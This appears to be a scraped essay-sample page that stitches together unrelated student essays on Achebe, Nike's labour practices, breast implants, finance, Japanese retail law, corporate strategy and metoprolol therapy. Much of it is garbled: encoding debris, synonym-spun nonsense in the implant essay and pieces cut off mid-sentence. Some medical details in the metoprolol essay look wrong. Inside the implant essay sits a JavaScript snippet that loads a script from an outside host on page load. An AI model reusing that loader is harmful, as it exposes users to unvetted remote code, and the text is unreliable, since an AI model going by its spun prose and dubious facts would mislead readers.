The Use of Mixed Narrative in Anthills of the Savannah

Explore the uses and effects of mixed narrative in Anthills of the Savannah By Emmanuel Sunil Anthills of the Savannah is set in the fictitious West African country of Kangan, a country which has been overrun with political instability ever since becoming an independent state from British rule. The novel centers on the lives of three civil servants, Christopher Oriko, Ikem Osodi and Beatrice Naynibuife, and all three serve three separate narrative voices in the novel, each sharing his or her own point of view. This provides the reader with a 360 degree picture of the situation by offering multiple points of view as well as enabling the reader to make judgments for him/ herself rather than relying on a narrator or a single character to supply descriptions of people and events. In this essay I shall consider detail the narrative roles of all three characters of the novel. Christopher Oriko is the Commissioner of Information in the cabinet of His Excellency, Sam. His duties bring him to close proximity to Sam and thus we obtain an insiders account of the political situation in Kangan. Chris informs us in the very first chapter of Sam’s frequent mood swings. In fact he goes as far as to say that â€Å"days are good or bad for us now according to how His Excellency gets out of bed in the morning†. Here, Chris indicates the dictatorial nature of Sam thus setting a stage for the instability in the government. Chris also has a very realistic opinion of the situation and he is careful in pushing for reform than his close friend Ikem, who he thinks is far too sensitive to the danger of angering Sam. A topic which is often considered in Chris’ narrative is the futility of Ikems editorials which makes Sam consider him as treacherous. Chris often defends Ikem; however he is getting â€Å"tired â€Å"of doing so. This difference in opinion and the fact that Ikem has more freedom leaves Chris with growing resentment towards Ikem, and the two seem to be drifting further apart as the novel progresses: â€Å"I can’t talk to Ikem any more. I am tired. And drained of all stamina†, says Chris in chapter eight. Ikem Osodi , who has replaced Chris as the editor of the state controlled National Gazette, feels that â€Å"the situation in Kangan can only be improved hrough reform†. The editor often writes sharp and editorials full of criticism towards the government, giving insights to the problems in Kangan (for example public executions). Ikem states that the best weapon against ineffective government is passion: â€Å"Passion is our hope and strength†, so mething that he feels immensely strong about and also reflects in his work, for example â€Å" Hymn to the Sun†, where Sam is compared to the sun as a metaphor to something that is immensely powerful yet equally destructive. As mentioned in the previous paragraph, His editorials often put him in conflict with Chris, who is now Ikem’s boss, however Ikem refuses any interference towards his work: â€Å"as long as I remain the editor, I shall not seek anybody’s permission to what I write†, however he still acknowledges that â€Å"there is a big danger doing this†. Despite the fact that he is an extremist, Ikem also adds humor through sarcasm ( â€Å"following a leader who follows his leader would be quite a circus†), and thus making the novel quite amusing at times. Beatrice Naynibuife is Chris’ girlfriend and also works in the government (in the ministry of finance). She has been intimate with Ikem, Sam and Chris at some point in her life and even though she is engaged in a relationship with Chris, she still gives us an unbiased outsider’s opinion about the situation between the three of them. For example in chapter five, she claims that â€Å"all three of you, are incredibly conceited. The story of this country, as far as you are concerned, is the story of the three of you. Although much of her narrative concerns her own past, she also tries to bridge the ever developing gap between Chris and Ikem; in chapter eight she tries to persuade Chris to talk to Ikem and work together to solve the mounting crisis of Sam’s power hunger ( trying controlling power similar to Idemili). Apart form these three; an unknown narrator also exists in the novel. While he does not give us any personal opinions like the other narrators, he give s details into African traditions such the story of the goddess Idemili. The different narrators of the novel give us different opinions about the same events that occur, and this as stated in the introduction gives a full and accurate picture of the current situation in the country. It is surprising that despite the novel being about the political instability and the unfortunate condition of the people; it is only the upper class that has a voice in the novel; a kind of metaphor indicating the division in the society and proving that it is only the upper class that has the power to bring about reform. Also, the mixed narratives do not follow a chronological pattern, which could symbolize the general state of confusion in the country. Achebe's use of multiple narrative voices indicates that history is more than a set of events in the past to be told; it is also the feelings and ideas that different people have about the events and at the same time focuses on the community rather than on the individual

Nike Ppt

â€Å"Greeks say when we go to battle and win,we say it is NIKE† INTRODUCTION TO NIKE †¢ Est. in 1960 in Oregon †¢ Phil knight and Bowerman- founder †¢ Started small and now has covered U. S and international markets †¢ Nike is now one of the biggest mfd. Of the world BACKGROUND †¢ Most of the factories are located in Asia including Indonesia,China,Taiwan,India Thailand,Veitnam,Pakistan ,Philippines and Malaysia †¢ Nike outsourcing contracts around 500 factories in 45 countries. Nike currently controls more than 45% of the US sportswear market.Background cont. †¢ The company initially operated as a distributor for Japanese shoe maker Onitsuka Tiger, making most sales at track meets out of Knight's automobile. †¢ The company's profits grew quickly, and in 1966, BRS opened its first retail store, located on Pico Boulevard in Santa Monica, California. By 1971, the relationship between BRS and Onitsuka Tiger was nearing an end. ANALYSIS OF C ASE STUDY †¢ Child labour †¢ Not satisfying customer needs †¢ Ignorance of mkt. trends AccusationsIn 1996-1997, Nike was accused of labor violations and human rights abuses in foreign countries (mainly Asian). Contrary Evidences †¢ Thousands of mostly young, female workers in Southeast Asia (Indonesia, Vietnam, China) were being exposed to reproductive toxins and suspected carcinogens. †¢ Some workers were not earning a â€Å"living wage† even though they work oftentimes 12 to 14 hours per day. †¢ Nike workers in Southeast Asia have suffered corporal punishment and corporal abuse. †¢ Nike young female workers have suffered sexual harassment. Nike workers in Southeast Asia have been forced to work overtime in violation of applicable laws. Core issue of Nike NIKE PRATICES CHILD LABOUR †¢ Children are not only the easiest to intimidate, they're also the cheapest workers. Twelve-year-old Tariq, one of thousands employed in Pakistan's soccer ball industry, which produces five million balls a year for the U. S. market, stitches leather pieces in Mahotra. He earns 60 cents a ball, and it takes most of a day to make one (Schanberg, 1996: 38).Silgi is only three. Her hands are so tiny she can't handle a scissors. But she started stitching soccer balls recently to help her mother and four sisters. Together they earn 75 cents a day working in their shanty home in Jullundur, India (Sidebar to Life Magazine Story, p 41 NOTE: There is a photo (Source) of a young girl dressed in town and soiled clothing next to the soccer ball clutching a needle and thread. The needle is longer than her fingers. †¢ CONSEQUENCES Nike executives have been targets at public place †¢ Students have pressed administrators and athletic directors to ban products that have been made under â€Å"sweatshop† conditions †¢ In 2002 an individual sued Nike, alleging that the company knowingly made false and misleading statements in its de nial of direct participation in abusive labor conditions abroad. REMEDIES †¢ Nike defended, through corporate news releases, full-page ads in major newspapers, and letters to editors †¢ Nike gave $1. million to the Washington D. C. based Fair Labor Association (FLA) †¢ In 2003, company employed 86 compliance officer †¢ But stigma of past practices remains emblazoned on its image and brand name. Nike’s Responses †¢ Nike responded with†¦ – Press releases – Letters to the newspaper – Personal letters to university presidents and athletic directors – Campus Visits – Independent audit of factories – Speak at conferences COMPILED BY AKRITI JHA DEEPTI SINGH TRIPTI SINGH

Breast Implants Essay Research Paper Breast Implants

Breast Implants Essay, Research Paper Breast Implants One of the first utilizations of silicone in a medical implant came in the signifier of lifesaving tubings implanted into immature kids to funnel extra fluid from the encephalon into the chest pit, where the fluid could be safely metabolized and excreted. Since these # 8220 ; shunts # 8221 ; were foremost used, in the late fiftiess, silicone in assorted signifiers has come to be an of import portion of many implants. # 8220 ; It is used in tracheostomy tubings, in unreal lenses for the oculus, in unreal bosom valves and in facial implants for birth defects or re-constructive surgery after malignant neoplastic disease # 8221 ; ( Ames 1 ) . The most widely used execution of silicone is through chest re- constructive surgery through elected surgery of an person, or re- constructive surgery to replace chests due to adult females retrieving from mastectomies from chest malignant neoplastic disease or assorted types of accidents. The early history and usage of implants showed no sick effects of the usage of paraffin or silicone. Because of this freshly developed surgical procedure and comparatively small usage of FDA guidelines there was no comprehensive testing done to guarantee the extreme safety of a silicone receiver. By this clip the 1000000s of adult females throughout the universe who already had Dow # 8217 ; s silicone prosthetic device implanted into their chests had no thought of the dramatic wellness hazards. Because of these possible wellness hazards, adult females should avoid the usage of chest implants. In 1976, Congress gave the FDA authorization to modulate chest implants. By this clip chest implants had been in usage for a important sum of clip and were considered # 8220 ; grandfathered. # 8221 ; This means that they were allowed to stay on the market, even though they hold non gone through rigorous testing. The FDA felt there was no grounds to substantiate that the implants were harmful. Furthermore Congress besides gave the FDA the power to travel back and necessitate industries to supply cogent evidence that the implants were so safe and effectual, if it was felt that there was a ground to make so. ( Bruning 7 )# 8220 ; In 1977, Richard Mithoff, a Houston lawyer, wins the first case for a Cleveland adult female who claims that her ruptured implants and subsequent operations had caused hurting and agony. She receives a $ 170,000 colony from Dow Corning. This instance received small promotion # 8221 ; ( Frontline 1 ) . Since this instance received small attending adult females from all walks of life still continued to seek out decorative surgery. In 1982 the # 8220 ; FDA proposed to sort silicone chest implants into a Class III class that would necessitate makers to turn out their safety in order to maintain them on the market # 8221 ; ( Frontline 2 ) . It wasn # 8217 ; t until 1990 that heavy media exposure began to unveil the possible links between silicone chest implants and assorted types of toxic upsets. Connie Chung of Face to Face of this same twelvemonth confronted Dow Corning executives who vehemently denied any nexus to toxic disease from their silicone implants ( Frontline 2 ) . For better or worse, we live in a society that puts great accent on visual aspect. This penchant seemingly knows no boundaries. In the 1940 # 8217 ; s,# 8220 ; Nipponese cocottes had their chests injected with substances such as paraffin, sponges and non-medical class silicone to enlarge their chests, believing that American military mans favor adult females with big chests # 8221 ; ( Frontline 1 ) this is the instance today as-well. During the 1960 # 8217 ; s chest implants made a roar as adult females discover that at that place rolls in the occupation market can be increased by the manner they look. With the aid of the sexual revolution adult females besides found it delighting to make a better them through chest expansion. Not merely was there a desire for adult females to seek this type of elected surgery, but prosthetic medical usage for chest implants was increasing dramatically from adult females enduring from chest malignant neoplastic disease. Many adult females have conflicting images of their chests. On the one manus, chests are symbols of beauty, gender, and fostering ; on the other, they are troublesome variety meats that are progressively likely to endanger adult females # 8217 ; s lives. In the United States the likeliness that a adult female will be found to hold chest malignant neoplastic disease has easy and inexorably mounted since the 1930s, when some systematic informations aggregation began. The addition in diagnosings, already a cause for concern, accelerated in the 1980s, turning by a rate of four per centum a twelvemonth. This twelvemonth, harmonizing to the American Cancer Society, some 184,300 adult females will detect that they have the disease ; another 44,300 will decease of it. Of the adult females in whom malignant neoplastic disease is diagnosed, 9,200 will non yet be 40 # 8211 ; about twice the figure of adult females under 40 who were found to hold chest malignant neoplastic disease in 1970. # 8220 ; The disease is now the taking cause of decease for American adult females aged 40 to 55, and causes adult females to lose more old ages of productive life than any other disease. Numbers like these are why breast malignant neoplastic disease is frequently called an epidemic # 8221 ; ( Plotkin 2 ) . Silicone as a man-made plastic was foremost developed in the 1930 # 8217 ; s. It contains silicone, a natural stuff, combined with C, H, and O that have been polymerized, a procedure in which molecules are combined to signifier more complex molecules. Silicone can be processed into three signifiers: a gel, a solid like compound known as elestomer, and a fluid. Early chest implants were made of polyurethane froth, paraffin, steel, R / gt ; and transplants of human tissue. These were non successful and when the first chest implant became available in the 1960 # 8217 ; s through Dow Corning, they were held as a discovery. Although an betterment, the first silicone implants had jobs every bit good. Gradually the merchandise improved. # 8220 ; With the coming of silicone gel, implants felt softer and looked more natural # 8221 ; ( Bruning 6 ) . With the development of the silicone implant at that place came about several options besides silicone. These options include gel-filled implants ( the most frequent type used ) , saline-filled implants, and dual lms implants. Some have outer shells that are textured or coated. Since extended research had been conducted on the development of man-made implants and decorative surgery clinics have become progressively popular and economically low-cost, adult females have sought out these clinics in droves. This enabled adult females to experience more confident about themselves and gave them a feeling of higher employability. For illustration, we see many adult females in the film and telecasting industry who have opted for a more good developed chest. These adult females such as Pamela Anderson Lee, La Toya Jackson, Helen Hunt, Lonnie Anderson and Dollie Parton merely to call a few, have had really successful callings non merely because of their playing or vocalizing abilities, but because of a better endowed organic structure. On a recent episode of the WB plan Judge Judy that aired on November 12, 1996, the former actress known as Roz Kelley of Happy Days celebrity was contending a determination of a jurisprudence suit about her chest implants which she claims has caused Arthritic disease. Ms. Kelley claimed that her celebrity was based entirely on her visual aspect and that is the lone ground why she decided to acquire the surgery. A informant for the suspect was the actress Rhonda Shear of USA # 8217 ; s Up All Night contended that although her implants had helped her calling, it was non why she elected to hold the surgery. The surgery was done out of personal pick and her statement for the defence was that # 8220 ; all adult females who have decorative surgery, do a witting pick in making so. # 8221 ; There was no coercion involved.Not merely in Hollywood do we see this type personal sweetening performed, but in magazines, mold, and in the alien amusement industry besides. Why is there such a dramatic accent on these adult females who decide to increase their flop line? That inquiry remains known merely to the person who elects to hold the surgery. Because this type of surgery has become so popular, many adult females in today # 8217 ; s society have elected to hold breast augmentation entirely for decorative intents. # 8220 ; When the ASPRS ( American Society of Plastic and Re-constructive Surgeons ) study asked adult females why they chose to hold breast augmentation, the three most common grounds given were: The desire for a more proportionate physique ( 93 % ) , a more appealing visual aspect ( 83 % ) , and a encouragement in self assurance ( 76 % ) # 8221 ; ( Bruning 27 ) . The ideal adult female started to go taller and dilutant. Work force desired slender hips and big chests. This image shriek at us twenty-four hours and dark on Television, at the films, in magazines and newspapers, and at the wellness nines. Womans hold fallen into the prototype of # 8220 ; purchase this merchandise and you will belong to the nine of the attractive and good endowed # 8221 ; ( Bruning 27 ) . In September of 1991 the FDA after having legion ailments issued a public study saying that silicone chest implants would non be deemed safe or harmful until farther surveies could be conducted. This statement outraged many adult females who had already began to experience the effects of their implants.# 8220 ; Implants, both ruptured and integral, have been charged with doing a enormous array of diseases. These scope from memory loss to difficulty get downing to joint hurting to decreased sex thrust to # 8220 ; skin fastening # 8221 ; to autoimmune diseases and even to malignant neoplastic disease. Some have referred to this wide configuration of symptoms as # 8220 ; silicone gel syndrome # 8221 ; ( Doyle 1 ) . The first public intimation of serious jobs did non surface until 1977, when an fact-finding narrative of chest expansion was published by Ms. Magazine contained a disclosure article the headline # 8220 ; A 60 % Complication Rate for an Operation You Don # 8217 ; t Need # 8221 ; ( Bryne 81-82 ) . After a lurid find from look intoing Dow Corning # 8217 ; s internal memo # 8217 ; s, 1000s of these memo # 8217 ; s revealed deficiency of long term testing, ailments from physicians, and escape of silicone from the implants. The most hideous incident discovered was ailments from sawboness of implants tearing in the operating room, as they tried to put in them into adult females # 8217 ; s chests ( Byrne 98 ) . Pathology studies indicate considerable silicone reaction to the extruded stuff can do terrible foreign organic structure reaction in susceptible persons. Angstrom missive written to Dow Corning from Charles A. Vinnick a prevailing decorative sawbones in California wrote: # 8221 ; I am loathe to print my series of instances as I feel that it may open Pandora # 8217 ; s box. I do experience, nevertheless, that rapid airing of this information is really necessary to protect your comapny and my co-workers # 8221 ; ( Bryne 98 ) . Vinnick complained to Dow about an incident when he removed a brace of silicone implants, the gel in a ruptured implant was awfully runny while the gel inside the other implant was of ideal coherence. This difference led him and some others to believe that when silicone gel came into contact with tissue fluids and flesh out the gel # 8217 ; s consistence changed. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Managing Finance Resources and Decisions subject Assignment - 1

Managing Finance Resources and Decisions subject - Assignment Example When it comes to the cash flow forecast of North Seaton, the prediction shows that the company is failing to generate adequate income to cover its expenditures. A relatively comparison of the income and expenditure data suggests that the increase in expenditure is not being equally complemented with a similar or greater level of increase in the net income (Schleifer, Sullivan and Murdough, 2014). That is why the monthly surplus figures are far lower than the deficits which in turn results in the company incurring significant proportion of cash flow deficits every month. Moreover, the company is failing to attain economies of scale and scope which is why the purchase expenditures have been increase in the last six months of the year. The cash deficits that has been realized every month is also because of the insurance premium of  £55,000 and  £50,000 paid in the month of January and May respectively. This has largely depleted the profit margin for the company. The quarterly bill p aid for electricity and heat has also reduced the company’s margin of income. Although the expenditure behind buying company vehicles was one off, but it has proven to be big burden for the company given the fact that they have to incur a constant maintenance expense of  £11,000 throughout the year. All the above mentioned facts are largely responsible for the cash deficits incurred by the company every month. b. The major reason behind such problems within the sales budget can be attributed to the failure of the company analysts in forecasting the demand for products. The inaccurate predictions led to a demand supply gap which in turn led the company to incur negative variances between sales budget and the generated sales (Nugus, 2009). Other reasons that can be attributed to this discrepancy are inappropriate marketing strategies adopted by the company,

The Effect of the Revised Large-Scale Retail Stores Law on the Essay

The Effect of the Revised Large-Scale Retail Stores Law on the Japanese Distribution System - Essay Example Wholesalers – Intermediaries or middlemen who buy products from manufacturers and resell them to retailers. They take the same type of financial risk as retailers, since they purchase the products, keep them in inventory until they are resold to retailers, and may arrange for shipment to those retailers. Agents and/or brokers – Intermediaries who work between suppliers and retailers. They do not take ownership of the products they sell and are independent sales representatives who typically work on commission based on sales volume. They can sell to wholesalers as well as retailers. The Japanese distribution system accommodates the cultural and economic concerns of business establishments in Japan. This is such as business relationships are heralded as more important than implementing immediate and profitable business decisions that might trigger a strain in fulfilling social obligations to the participants in the distribution channels. Both Japanese and foreign observers, above all the United States, claimed that such intimate business relationships between an (in comparison to the United States) unusually high number of small players (both retail and wholesale establishments) not only formed a non-tariff barrier to foreign suppliers, but that such business relationships were protected by a legislation (the Large-Scale Retail Stores Law) that was in favor of small-scale establishments. The revision of the statute as demanded by the United States was therefore seen as hopeful solution to â€Å"modernize† the Japanese distribution system (less small-scale operations) and also pave the way for Japanese and foreign suppliers to enter the Japanese market. When Japan surrendered to the American supremacy on August 15, 1945, the Japanese economy was in almost near collapse1 and Japan had to finally accept foreign occupation to

Evaluation of a New Curriculum Initiative Essay

Evaluation of a New Curriculum Initiative - Essay Example ng, is limited in that it can only assess certain types of knowledge.   For example, you can't test students' reasoning skills very far with giving them multiple choice items on a standardized test other than to know that they gave you the right answer. That doesn't help you very much.   But with a performance assessment of some type, such as an essay question or other assessment where students must create a product or a report of some type (where instructors don't have to "teach to the test"), a lot can be gained about what we call a student's "deep understanding" of the material.   So that is one reason why I think No Child Left Behind is a bad policy; it focuses on high-stakes testing and has left children behind when they really need it, in my opinion.   Unfortunately, standardized test scores are what drive AYP (Adequate Yearly Progress) and keep schools open.   AYP is reached depending on test scores' improvement from last year, from what I understand.   If schools are not making AYP they can be put on Academic Watch Status (AWS), or Academic Early Watch Status (AEWS).   If these schools do not make AYP for a certain number of years, the schools can be restructured or even closed depending upon the number of years your school has or has not made AYP.   So testing is important in this regard.   Currently, the school which is being studied for this curriculum case study, made AYP this past school year but is on Academic Watch Status, for example, so they have to be careful.   Apparently, they have missed making AYP in one of their past years and have to make sure they make it in the future.   2. Socioeconomic and/or Political Factors [405]? Education reform (which turned into NCLB) was a campaign point for Governor Bush in 2000. This law mandates 100% achievement;... Curriculum should follow a philosophy of diversity. Celebrating diversity, according to Ornstein and Hunkins (2008), is very important (pp. 194). My philosophy of diversity encapsulates three key concepts which will serve to make my classroom a welcoming environment for all students to learn and to express themselves accordingly. These concepts which will make my classroom a successful learning environment for diverse learners are the following: promoting inclusivity; celebrating diversity; and, as the teacher, using caretaker language to make students feel comfortable. It is a keystone of my philosophy of diversity that the classroom be a place of inclusiveness—whether my students be Black, white, Latino, Asian, Native American, or of mixed race(s) or races not named here, and be of whatever socioeconomic status, religion, national origin, gender, sexual orientation, disability, or cultural affiliation—that my students feel that they are equals in my classroom regardle ss of my particular cultural lens. An inclusive philosophy dictates that each student should have the same opportunity to learn the target subject. This includes being cognizant of striving against favoritism, especially based on gender or race. Students who are from lower levels socioeconomically should be given a fair chance to succeed by providing them with the tools they need to succeed in an environment which has typically favored the dominant culture’s hegemonic social strata. A level playing field is key. Stategies include having class materials available such as extra paper and pens. I want students of various national origins and religions to feel comfortable enough to express themselves within the dynamic of their own backgrounds.

Corporate strategy Essay Example | Topics and Well Written Essays - 2250 words - 2

Corporate strategy - Essay Example Understanding PwC Strategic Resources Tallman (2009) argues that resources and capabilities are the sources of internal strengths and weaknesses for a firm because its profitability, growth, and success largely depend upon unique strategic resources that it possesses. Thus, strategic resources need to be unique to create competitive advantage over competition. Moreover, strategic resources play a much vital role in the success or failure of the organization, especially when the organization is a services company. Organization’s capabilities such as managerial abilities, learning proficiencies, fast delivery and ability to find proper solutions to the issues are some of the factors that play a key role in formulating strategic choices. PwC is purely a services company active in the numerous fields such as audit and assurance that include internal audit, financial statement audit, corporate reporting, IFRS reporting, risk assurance, actuarial insurance, capital markets, corporat e treasury solution; consultation services that include services in finance, operations, technology, risk, people and change; deals that include mergers and acquisition tax, corporate finance, business recovery services, transaction services, valuation and strategy; family business services; and human resource services that include talent management, human capital measurement & benchmarking, social security, and many more. A vast human talent pool that PwC has developed over the years is a major driving force in growth of the organization and making the organization one of the most coveted auditing and consulting firm in the world (PwC, 2013). Tackling Today's Challenges – A Capability Perspective Ever since the concept of globalisation has made rapid strides the firms have been facing an increasing challenge to build competitive advantage in the market place. Under the changed scenarios, the firms have been compelled to make strategic collaborations or partnerships; mergers or acquisition to enhance synergy in their operations and reduce their overall costs. In the most dynamic and ever-changing world, organisations need to show enough resilience and adjust to the new situations quickly. Tallman (2009) emphasises that dynamic capabilities of the firm help resolve emerging issues more effectively. PwC is an auditing cum consulting services firm of a long standing. Overtime, the company has acquired numerous capabilities and strategic concepts that have put the company into the forefront in the global audit and consulting business worldwide. The key strength of PwC is a capacity to tackle today's challenges based on depth and breadth of its capabilities. The company serves to the largest of the multinational corporations to small and medium-sized enterprises. The company's clients are from the different geographical areas working in their own business environment to meet their objectives. It would be interesting to explore how PwC has been successfully a ccomplishing various tasks through the following example. Enterprise Architecture– A True Capability Assessment In 2012, International Data Corporation (IDC), a market research firm, conducted vendor assessment of the enterprise architecture (EA) practices of large consulting firms. The assessment took into consideration qualitative and quantitative aspects of the services provided based on certain assigned criteria. IDC analysts framed standard

Marketing Strategies of Coca-Cola Case Study Example | Topics and Well Written Essays - 3500 words

Marketing Strategies of Coca-Cola - Case Study Example Professor Yvonne Mc Laughhlin has done well to focus attention on the various global companies with primary attention on Coca-Cola Company and its global competitors, as there is a dearth of books on management for developing countries. With her blend of expertise in the academic discipline and her practical work experience, Prof. Yvonne Mc Laughhlin is well equipped to write this book on global marketing. Due to the lack of sound management books at the graduate and postgraduate levels, this book would feel an important void. The other books written by this author and published by Business Information Books are 'Business Studies' (1998), "Relationship Management of Toyota' (2006). In addition to these, the author is a regular writer in business magazines and times now. His recent published article on 'TATA's Global Acquisition' in "Business Today", of Jan 2008, has revealed TATA'S insight views of management and future expansions plan. Marketing variables play an important part in the presentation and exposure to the target population. Age and geographic variables are also important factors. It is important for the Coca-Cola Company to target new segments in order to remain at the cutting edge. In order to remain competitive in the market it is important to present timely and effective information for the target population. The creation of a proper Marketing Information System and its updation on regular basis is very important for the Company to not only keep its presence felt but also to increase traffic. A step by step marketing plan should be undertaken in order to achieve the desired result. The management should undertake an annual evaluation of the plans and goals designed to achieve. This will help the company to correct its action towards the right direction. Continuous updation and promotion will make it possible to achieve its goals in future. Research Objectives To understand the importance of the strategic model for effective management that integrates strategic techniques in decision making. To understand the decision making process, and the use of strategic business techniques in the organization. To understand the involvement of various aspects of these tools and their effectiveness in an organization. To get an understanding and critical evaluation of a company to get an insight how effectively the business techniques are implemented. Layout of the book Chapter 1: Introductory background of the main theme of the book, the core research problems and aims and objective for this dissertation. Chapter 2: Reviews the main literature and theories in relation to the market forces, environmental analysis and competitive advantage of the organization in particular the pharmaceutical market. Chapter 3:

Communication Essay Example | Topics and Well Written Essays - 500 words - 18

Communication - Essay Example ficant percentage of the sexist language entails depiction of women: a good example is of the words ‘a blonde’ –such words used in a statement act as a representation of women hence belittle their lives and place an extra level of personal judgment on them. This makes it very hard for people of the female gender to communicate or even open up especially to the people who use the sexist language; moreover, it creates hatred leading to lack of respect especially between the youth and their elders. Over the years, language has played a significant role in race relations with some words being used offensively and others honorably; shockingly, it is through this that up to date that people still argue as to whether the ’N word’, popularly used to describe people of the African American background should be used. Most people are of the idea that using inoffensive language is all about political correctness whereas it’s not; it’s about valuing others and creating strong relationships with people from diverse ethnic backgrounds which automatically enhances communication (Kareem 1). Racist language is all about language and culture which is why different words have dissimilar meanings to some people from diverse ethnic backgrounds i.e. the word ‘loaded’ doesn’t have the same meaning to Native Americans and Africans. Apparently, racist language is one of the core barriers of communication; for instance, the ‘N word’ has created rivalry and mystification between the African Americans and the white people in the American society, making it hard for the two address each other especially in public. This might be due to some people finding the word offensive hence loathing those that use it to refer to them or possibly because some people use it deliberately to offend and humiliate the African Americans. Typically, homophobic language is used as a form of insult against the gay and most people find it difficult and time consuming to campaign against;

Pharmacokinetics and pharmacodynamics of oral Metoprolol Essay Example for Free

Pharmacokinetics and pharmacodynamics of oral Metoprolol Essay The patient, Roger Smith, is a forty year old man and came to the doctors office yesterday morning presenting a chief complaint of on and off headaches. Every now and then he felt dizzy and would complain about blurred vision. He mentions that he does not have any allergies to food or medicines. He admits that he doesnt do any regular exercise. He favors salty food and eats plentiful of it everyday and prefers to drink alcohol two to three times per week. He was an only child and both his father and mother are deceased. The patients mother had hypertension and so did his mothers father. When he was a child he only had varicella zoster. He also mentioned that he sought medical attention a year ago and was diagnosed with essential hypertension. After that, the patient did not visit his previous doctor for a follow up on his medical health. The patient confesses that he did not follow his previous doctor’s prescription. Dr. Robert Jones, took the patients blood pressure and it read as 140/90 mm Hg. The patient was asked to undergo laboratory test for the patients blood creatinine (National Kidney Function, 2008). On the following day, Dr. Robert Jones, measured the patient’s blood pressure again and it read 140/90 mm Hg. The patient told the doctor that he took note of his blood pressure several days ago and it also had the same reading and it never went down. The doctor asked the patient to present him the laboratory result for the patients glomerular filtration rate. The glomerular filtration rate is the test to measure the patients kidney functions level. It is important to find out what the result is to prevent the progression of a kidney disease due to hypertension (National Kidney Function, 2008). The patients glomerular filtration rate value (GFR) was 72 mL/min/1.73 m2. The doctor interpreted to the patient that his glomerular filtration rate is normal and his kidneys are not affected yet by the hypertension. The GFR is calculated by the serum creatinine of the patient which is 1.4 mg/dL, the age of the patient is forty years old, the patients race is African American and the gender is male. The normal glomerular filtration rate value is 70  ± 14 mL/min/m2 for the male and 60  ± 10 mL/min/m2 for the female (National Kidney Function, 2008). The doctor explained that essential hypertension or primary hypertension is the blood pressure thats consistently higher than the normal value, 120/80 mm Hg, and there is no cause found for the high blood pressure. It can be controlled with normal exercise, a well-balanced diet, proper treatment and constant monitoring of the blood pressure. If it is left untreated, it will lead to heart attack, heart failure, damage to the kidney and it might cause the patient to lose his vision. (PSMHMC, 2006). The patient needs to lower the systolic and diastolic blood pressure (BP) to treat his hypertension as this is an important cardiovascular risk factor (Koenig, 2001). The doctor educated the patient to maintain his weight level near to the normal and eat a well-balanced diet. He was instructed to limit the salt intake everyday to 2,000mg or even lower. Exercise regularly and avoid drinking too much alcohol and limit the intake of caffeine. All these are needed to be followed to control the blood pressure. The patient was also educated about taking care of his blood pressure because it will cause the kidney to fail. In order to prevent this from happening, his blood pressure must be controlled (DailyMed, 2006). The doctor prescribed the patient to take metoprolol tartrate 100mg for the first four weeks and then increased the dose to 200mg for another four weeks. The patient is instructed to orally take metoprolol once daily (Koenig, 2001). Metoprolol is a beta-adrenergic blocking agent that decreases the heart rate, decreases the contraction force of the heart muscle and it lowers the the blood pressure. Metoprolol targets the sympathetic nervous system by blocking its action in order to stimulate the heart beats pace. (Hildemann, et. al., 2002). The doctor further explained that metoprolol helps relax the blood vessels and will help the heart beat at a more regular rate. In this way, high blood pressure is reduced. Other heart diseases, for example stroke or heart attack will be prevented (Koenig, 2001). The medicine is taken through the mouth and will pass through the digestive tract before it can reach the bloodstream for absorption. The onset of action of metoprolol as an anti-hypertensive if taken orally is 1 1/2 to 4 hours. It will last for ten to twenty hours and will be absorbed at a percentage of 95%. For its metabolism, it is extensively hepatic through CYP2D6; significant first-pass effect. The half-life elimination period is three to four hours (Koenig, 2001). Metoprolol will be excreted through the urine with the percentage of 3% to 10% as an unchanged drug (DailyMed, 2006). According to the explanation of the doctor, metoprolol is metabolized in the liver by the cytochrome P450 2D6. Therefore, metabolization of the drug depends on the genetic polymorph that determines the hepatic hydroxylation rate. Metoprolol is excreted by the kidney as metabolites and is absorbed within seventy-two hours by glomerular filtration. The patient is further informed that while he is taking metoprolol, he is advised not to take in any other medicine. He should follow the correct dosage at the right time, in other words, the patient is not allowed to change the dosage or the time hes supposed to take the medicine. The medicine should not be taken in with an antacid (DailyMed, 2006). The patient will feel fatigue or dizziness. He should inform the doctor any changes like unusual weight gain or muscle fatigue, swellings of any part the extremities, constipation or should he develop a cough. The patient should maintain a blood pressure of less than 140/90mm Hg. He should take his pulse prior to taking metoprolol orally. The patient will be able to keep himself healthy and fit if he continues to follow the doctors prescription. The systolic and diastolic blood pressure (BP) will be lower when the patient follows the intake of metoprolol as prescribed by the doctor (Koenig, 2001). After eight weeks, the patient came to visit Dr. Robert Jones and had his blood pressure is already 120/80 and his glomerular filtration rate value remains at the normal level. The patient is instructed by the doctor to constantly maintain a healthy diet, regularly exercise and take note of his blood pressure everyday (Koenig, 2001). References: Dailymed (2006). METOPROLOL TARTRATE and HYDROCHLOROTHIAZIDE   Ã‚  Ã‚  Ã‚  Ã‚   TABLETS, USP50 mg/25 mg, 100 mg/25 mg and 100 mg/50 mgBeta   Ã‚  Ã‚  Ã‚  Ã‚   Blocker/Diuretic Antihypertensive. Retrieved February 8, 2008, from   Ã‚  Ã‚  Ã‚  Ã‚   http://dailymed.nlm.nih.gov/dailymed/fda/fdaDrugXsl.cfm?id=2522type=display Indian Journal of Pharmacology. (2008) Metoprolol Pindolol: A comparative study in   Ã‚  Ã‚  Ã‚  Ã‚   essential hypertension. Retrieved February 8, 2008, from http://www.ijp-online.com/article.asp?issn=02537613;year=1990;volume=22;issue=2;spage=85;epage=88;aulast=Gugli;type=0 S.K. Hildemann, H. Fischer, D. Pittrow, V. Bohlscheid (2002). Metoprolol Succinate SR Plus  Ã‚  Ã‚  Ã‚  Ã‚  Ã‚     Ã‚  Ã‚  Ã‚  Ã‚   Hydrochlorothiazide (Beloc-Zok ® Comp) in Patients With Essential Hypertension in   Ã‚  Ã‚  Ã‚  Ã‚   General Practice. Medscape Today. Retrieved February 10, 2008, from   Ã‚  Ã‚  Ã‚  Ã‚   http://www.medscape.com/viewarticle/444414_1 Penn State Milton S. Hershey Medical Center College of Medicine (2006). Essential   Ã‚  Ã‚  Ã‚  Ã‚   Hypertension. Retrieved February 10, 2008, from   Ã‚  Ã‚  Ã‚  Ã‚   http://www.hmc.psu.edu/healthinfo/e/essentialhypertension.htm National Kidney Function (2008). Glomerular Filtration Rate (GFR). Retrieved from   